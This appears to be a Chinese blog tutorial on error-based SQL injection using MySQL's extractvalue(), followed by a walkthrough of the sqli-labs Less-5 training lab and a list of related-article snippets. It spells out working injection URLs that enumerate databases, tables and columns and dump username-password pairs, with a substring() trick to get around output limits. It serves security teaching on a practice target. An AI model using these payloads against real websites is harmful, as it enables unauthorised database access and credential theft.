extractvalue报错注入理论及实战

报错注入

什么是报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包括数据库中的内容

如上图所示,通过group by的报错,我们可以知道列数是多少

输入正确的查询数据库的SQL语句,虽然可以执行成功,但是页面不显示数据库的名称

我们故意将database写为databasa,此时数据库的名称security在报错信息中显示了出来

因此可以利用报错的信息得到我们想要的信息。

1.通过floor()报错注入

2.通过extractvalue()报错注入

3.通过updatexml()报错注入

通过extractvalue()报错注入

extractvalue包含两个参数,第一个参数XML文档对象名称,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml;

把查询参数格式符号写错

select extractvalue(doc,'`book/title') from xml;

可以看到'~book/title'在报错的时候是可以回显出来的,如果将这个地方换成SQL语句,他也会将结果以报错的形式反馈出来。

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

错误提示成功报错出我们要查询的内容

extractvalue(1,2)//两个参数

concat(1,2)//两个参数

(select database())//要把命令写到括号里面,之后可以直接使用替换括号内容的方式进行查询。黄色括号里面

报错注入:一次只能返回32个字符问题,解决此问题可以使用substring函数

substring(1,2,3)三个参数,第一个参数是内容,第二个参数是要从第几个开始截取,第三个参数是要截取多少个

?id=1' and 1=extractvalue(1,concat(0x73,(select substring(group_concat(username,'-',password),25,30)from users))) --+

1.数据库 security
2.数据库 http://sqli-labs:8088/Less-5/?id=1' union select extractvalue (1,concat(0x7e,(select database())))  --+ 
3.数据表 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))  --+ 
4.数据段 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))  --+ 
5.查询内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users)))  --+ 
6.截取内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),30,60) from security.users)))  --+ 
本次注入sqli-labs靶场的Less-5

首先按照页面提示,get请求拼接?id=1尝试,发现页面显示You are in......... 页面可以正常显示

按照我们注入的顺序,第一步先去分析是字符型还是数字型,如果是字符型要弄清楚闭合方式是什么,我们随便丢一个单引号尝试。根据报错提示,可以看出是字符型注入而且闭合方式是单引号

下一步去判断列数,使用order by函数。列数为3时可以正常显示,由此判定列数为3

构造SQL语句,查询数据库信息,查看回显内容位置,发现命令执行成功,但是页面没有回显内容。

直接尝试报错注入,使用extractvalue函数。构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,'~adb') --+

可以看到报错回显了内容信息,可以使用报错注入。

先查数据库,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+

拿到了数据库名称security

紧接着查询数据表,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

得到数据表 users,根据经验可以猜出账号与密码都在这个表里面

查询数据表里面的字段,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

拿到字段:id,username,password

都到这一步了,直接查询username,password这两个字段里面的信息,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+

得到了内容,但是显示的不完整,这是因为报错注入一次只能返回32个字符,直接使用substring函数帮助我们

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users))) --+

注入完成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/184394.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cube MX 开发高精度电流源跳坑过程/SPI连接ADS1255/1256系列问题总结/STM32 硬件SPI开发过程

文章目录 概要整体架构流程技术名词解释技术细节小结 概要 1.使用STM32F系列开发一款高精度恒流电源,用到了24位高精度采样芯片ADS1255/ADS1256系列。 2.使用时发现很多的坑,详细介绍了每个坑的具体情况和实际的解决办法。 坑1:波特率设置…

小白学爬虫:通过关键词搜索1688商品列表数据接口|1688商品列表数据接口|1688商品列表数据采集|1688API接口

通过关键词搜索1688商品列表数据接口可以使用1688开放平台提供的API接口实现。以下是使用关键词搜索商品列表数据的基本步骤: 1、注册并获取AppKey。 2、构造请求参数,包括搜索关键词、页码、每页条数等。 3、通过API接口链接,将请求参数发送…

高校教务系统登录页面JS分析——西安外国语大学教务系统

高校教务系统密码加密逻辑及JS逆向 本文将介绍高校教务系统的密码加密逻辑以及使用JavaScript进行逆向分析的过程。通过本文,你将了解到密码加密的基本概念、常用加密算法以及如何通过逆向分析来破解密码。 本文仅供交流学习,勿用于非法用途。 一、密码加…

微信小程序登录后端

一、 概念 code code是用户登录凭证,个人理解为用户的授权码(需要用户本人授权给小程序,小程序才有权力获取到你这个用户的数据),code需要由小程序向微信服务器获取。 注意: 每个code只能使用一次,且有效…

单基因泛癌+实验简单验证,要素丰富,没研究方向的赶紧上车

今天给同学们分享一篇生信文章“Pan-Cancer Analysis Reveals CENPI as a Potential Biomarker and Therapeutic Target in Adrenocortical Carcinoma”,这篇文章发表在J Inflamm Res期刊上,影响因子为4.5。 结果解读: 正常组织、癌症细胞系…

影响金融软件开发价格的因素有哪些?

随着科技的发展,金融行业逐渐向数字化和信息化转型,在这个过程中,金融软件开发成为了重要的支撑,然而,金融软件开发的价格是一个复杂的问题,受到多种因素的影响,本文将详细解析影响金融软件开发…

深度图(Depth Map)

文章目录 深度图深度图是什么深度图的获取方式激光雷达或结构光等传感器的方法激光雷达RGB-D相机 双目或多目相机的视差信息计算深度采用深度学习模型估计深度 深度图的应用场景扩展阅读 深度图 深度图是什么 深度图(depth map)是一种灰度图像&#xf…

【qemu逃逸】HWS2017-FastCP

前言 虚拟机用户名:root 虚拟机密码:无密码 本题有符号,所以对于设备定位啥的就不多说了,直接逆向设备吧。 设备逆向 在 realize 函数中设置一个时钟任务,并且可以看到只注册了 mmio,大小为 0x100000。…

SpringBoot整合Kafka (二)

📑前言 本文主要讲了SpringBoot整合Kafka文章,如果有什么需要改进的地方还请大佬指出⛺️ 上文链接:SpringBoot整合Kafka (一) 🎬作者简介:大家好,我是青衿🥇 ☁️博客首页:CSDN主页…

PTL货位指引标签为仓储管理打开新思路

PTL货位指引标签是一种新型的仓储管理技术,它通过LED灯光指引和数字显示,为仓库管理带来了全新的管理思路和效率提升,成为现代物流仓库管理中的重要工具。 首先,PTL货位指引标签为仓储管理业务带来了管理新思路。传统的仓库管理中…

iOS Crash 治理:淘宝VisionKitCore 问题修复

本文通过逆向系统&#xff0c;阅读汇编指令&#xff0c;逐步找到源码&#xff0c;定位到了 iOS 16.0.<iOS 16.2 WKWebView 的系统bug 。同时苹果已经在新版本修复了 Bug&#xff0c;对于巨大的存量用户&#xff0c;仍旧会造成日均 Crash pv 1200 uv 1000&#xff0c; 最终通…

串口中断(10)自定义通讯协议-协议带数据长度及接收应答处理

本文为博主 日月同辉&#xff0c;与我共生&#xff0c;csdn原创首发。希望看完后能对你有所帮助&#xff0c;不足之处请指正&#xff01;一起交流学习&#xff0c;共同进步&#xff01; > 发布人&#xff1a;日月同辉,与我共生_单片机-CSDN博客 > 欢迎你为独创博主日月同…

【无标题】【教3妹学编程-算法题】2918. 数组的最小相等和

3妹&#xff1a;呜呜&#xff0c;烦死了&#xff0c; 脸上长了一个痘 2哥 : 不要在意这些细节嘛&#xff0c;不用管它&#xff0c;过两天自然不就好了。 3妹&#xff1a;切&#xff0c;你不懂&#xff0c;影响这两天的心情哇。 2哥 : 我看你是不急着找工作了啊&#xff0c; 工作…

帷幄内容管理系统:从立人设、做内容到定向投流,品牌 KOS 体系打造「百万导购」

随着公域流量越来越贵&#xff0c;获客成本越来越高&#xff0c;品牌们已经越来越不满足于高曝光&#xff0c;而是更多地关注起销售转化率。继 KOL、KOC&#xff08;关键意见消费者&#xff09; 之后&#xff0c;KOS&#xff08;关键意见销售&#xff09;营销模式走入品牌的视野…

排序算法之-冒泡

顺序排序算法原理 从头开始遍历未排序数列&#xff0c;遍历时比较相邻的两个元素&#xff0c;前面的大于后面的&#xff0c;则双方交换位置&#xff0c;一直比较到末尾&#xff0c;这样最大的元素会出现在末尾&#xff0c;接着再依次从头开始遍历剩余未排序的元素&#xff0c;…

MSQL系列(十四) Mysql实战-SQL语句 left join inner join On和Where语句的区别

Mysql实战-SQL语句On和Where语句的区别 前面我们讲解了Join的底层驱动表 选择原理&#xff0c;也知道了基本的内连接外连接两种SQL查询表连接方式 但是我们再查询多表的时候on和where语句到底有什么区别? where是过滤条件 ,不满足where的一定不会出现在结果中on是连接条件, …

网上3D虚拟数字展厅进一步增强营销效果

数字化营销已经成为了企业推广产品和服务的重要手段。由于制作成本及周期限制&#xff0c;企业或个人难以拥有个性化的3D云展厅&#xff0c;顺应市场需求和时代发展&#xff0c;3D云展数字平台作为一种新型的数字化营销工具&#xff0c;具有许多传统营销方式无法比拟的优势。 3…

怎么调整excel表里面所有单元格中,某个相同字体大小,单元格中其他文字大小不变?

环境: excel 2021 python3.8 问题描述: 怎么调整excel表里面所有单元格里面1这个字体大小,单元格里面其他文字不变? excel表里面。很多单元格都有1,1和文字都是10号字体,现在想把全部1字字体调整为16号其他字大小都不变 解决方案: 一、使用python来实现,经过测…

iOS加固原理与常见措施:保护移动应用程序安全的利器

目录 iOS加固原理与常见措施&#xff1a;保护移动应用程序安全的利器 前言 一、iOS加固的原理 1. 代码混淆 2. 加密算法 3. 防调试技术 4. 签名校验 二、iOS加固的常见措施 1. 代码混淆 2. 加密算法 3. 防调试技术 4. 签名校验 三、iOS加固的效果和注意事项 参考…

如何在macbook上删除文件?Mac删除文件的多种方法

在使用MacBook电脑时&#xff0c;桌面上经常会积累大量的文件&#xff0c;而这些文件可能已经不再需要或已经过时。为了保持桌面的整洁和提高电脑性能&#xff0c;我们需要及时删除这些文件。本文将介绍MacBook怎么删除桌面文件&#xff0c;以及macbook删除桌面文件快捷键。 一…